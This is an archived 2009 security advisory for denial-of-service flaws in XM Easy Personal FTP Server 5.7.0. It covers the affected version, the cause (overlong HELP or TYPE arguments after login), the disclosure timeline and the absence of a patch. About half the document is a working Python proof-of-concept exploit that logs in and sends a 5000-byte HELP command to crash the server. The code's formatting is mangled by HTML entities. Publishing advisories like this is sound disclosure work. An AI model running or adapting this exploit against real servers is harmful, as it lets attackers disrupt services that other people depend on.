Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21958
HistoryJun 05, 2009 - 12:00 a.m.

[Security] XM Easy Personal FTP Server Multiple DoS vulnerabilities

2009-06-0500:00:00
vulners.com
23

XM Easy Personal FTP Server Multiple DoS vulnerabilities

Credits:
NeerajT of Nevis Labs
http://www.nevisnetworks.com/services.php?id=10

Date of Discovery: 14-May-2009

Vendor: Dxmsoft
URL: http://www.dxm2008.com/

Affected:
XM Easy Personal FTP Server 5.7.0
Earlier versions may also be affected

Overview:
XM Easy Personal FTP Server is a easy use FTP server Application. Multiple Denial of service
vulnerability exists in XM Personal FTP Server that causes the application to crash when a long
list of arguments is sent to certain FTP commands post authentication.

Details:
The DoS vulnerability exists because the application fails to handle large parameter values sent
to certain FTP commands like HELP or TYPE. When a long value ( > 4700 Bytes) is passed as a
parameter to these commands, the FTP server cannot process it and it will crash. Note that this
is a post authentication vulnerability, so user must be logged in to exploit the vulnerability.
No registers are overwritten, hence remote code execution may not be possible.

Severity:
High

Solution:
No patches available from vendor
No workaround is available at this time

Vendor Communication Timelines:
05.14.2009 - Vulnerability Discovered
05.15.2009 - Vendor Notified
05.20.2009 - No Response, Vendor Notified again
06.05.2009 - No Ack from Vendor, Public Disclosure

PoC: Python Exploit

#!/usr/bin/python

::::::::::::::::::::::::::::::[neeraj(.)thakar(at)nevisnetworks(.)com]

[-] What:…[ XM Easy Personal FTP Server 5.7.0 ]…

[-] Where:…[ http://www.dxm2008.com ]…

[-] When:…[ 14-May-2009 ]…

[-] Who:…[ NeerajT | neeraj(.)thakar(at)nevisnetworks(.)com ]…

[-] How:…[

A Denial of service vulnerability exists in XM

Personal FTP Server that causes the application to

crash when a long list of arguments is sent to

certain FTP commands post authentication…]

[-] Thankz:…[ Jambalaya, Xin and Chintan ]…

import os
import sys
import time
from ftplib import FTP

def usage():
print "[…XM Personal FTP Server 5.7.0 DoS Exploit…]"
print "[…neeraj(.)thakar(at)gmail(.)com…]\n"
print "Usage: ./XMPersonal_FTPServer_DoSPoC.py <server-ip> <username> <password>\n"
print "\n Use it at your own risk ! This is just a PoC. I am not responsible for damages
done by your crazy thinking… :P\n"

The Main function starts here…

if name == "main":
ftpport = '21'

    # get the args..
    if len&#40;sys.argv&#41; &lt; 3:
            usage&#40;&#41;
            sys.exit&#40;1&#41;
    ftpserver = sys.argv[1]
    user = sys.argv[2]
    passwd = sys.argv[3]

    print &quot;Connecting to &quot;+ftpserver+&quot; using &quot;+user+&quot;....&quot;,

    # Try opening a connection to the FTP server
    try:
            F = FTP&#40;ftpserver&#41;
            F.timeout = 3
            if F:
                    print &#39;Connected !&#39;
    except:
            print &quot;&#92;nCould not connect to the Server :&#40;&#92;n&quot;
            sys.exit&#40;1&#41;

    #Lets create the Buffer..
    crap = &quot;A&quot; * 5000

    # Creat&#39;in da&#39;bomb
    dabomb = &#39;HELP &#39;+crap

    print &quot;Press any key to login..&quot;
    ch = sys.stdin.read&#40;1&#41;

    # Lets login
    try:
            F.login&#40;user, passwd&#41;
    except:
            print &quot;Oops.. Looks like you forgot to create a login !!&#92;n&quot;
            F.quit&#40;&#41;
            sys.exit&#40;1&#41;
    print &quot;Target Locked, Press any key to fire..&quot;,
    ch = sys.stdin.read&#40;1&#41;

    print &#39;Sendin Da&#92;&#39;Bomb..&#39;
    try:
            F.sendcmd&#40;dabomb&#41;
    except:
            print &#39;Target destroyed !! Mission successfull..!&#39;

    print &#39;Returning to base..&#39;
    F.close&#40;&#41;
    sys.exit&#40;0&#41;